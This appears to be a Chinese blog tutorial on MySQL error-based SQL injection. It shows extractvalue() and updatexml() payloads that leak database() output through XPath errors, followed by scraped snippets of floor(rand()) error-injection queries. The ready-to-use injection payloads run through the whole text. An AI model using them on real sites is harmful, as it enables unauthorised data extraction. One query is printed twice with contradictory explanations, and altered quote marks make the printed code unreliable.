XPATH報錯注入

2021-10-09 03:18:13 字數 1116 閱讀 2836

extractvalue()

extractvalue() :對xml文件進行查詢的函式

語法:extractvalue(文件,路徑)

路徑寫入其他格式,就會報錯並且會返回我們寫入的非法格式內容,我們可以利用這個得到我們想得到的內容

正常查詢 第二個引數的位置格式 為 /x/xx ,即使查詢不到也不會報錯

select username from security.user where id=1 and (extractvalue(『1』,』/x/xx』))

使用concat()拼接 『 / 『 效果相同,

select id from test where id=1 and extractvalue(『1』,concat(』~』,(select database())));

這裡在』1』中查詢不到,位置是 /database()的內容,

但沒有語法錯誤,不會報錯,下面故意寫入錯誤語法:

select id from test where id=1 and extractvalue(『1』,concat(』~』,(select database())));

可以看出,以~開頭的內容不是xml格式的語法,發生報錯,並顯示無法識別的內容。!#$%等都可以成功。

extractvalue()能查詢字串的最大長度為32,如果我們想要的結果超過32,可以用substr()函式擷取

select id from test where id=1 and (extractvalue(『1』,concat(』#』,substr(hex((select database())),1,3))));

updatexml()

updatexml():更新xml文件的函式。

語法:updatexml(文件,路徑,更新的內容)

select id from test where id=1 and (updatexml(『1』,』/xx/xx』,『1』));

報錯方式相同:

select id from test where id=1 and (updatexml(『1』,concat(』~』,(select database())),『1』));

同樣是32位查詢。

SQL注入 報錯注入

乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...

SQL注入 報錯注入

sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...

SQL注入 報錯注入

利用 mysql select 1 from select count concat version floor rand 0 2 x from information schema.tables group by x a error 1062 23000 duplicate entry 5.1.4...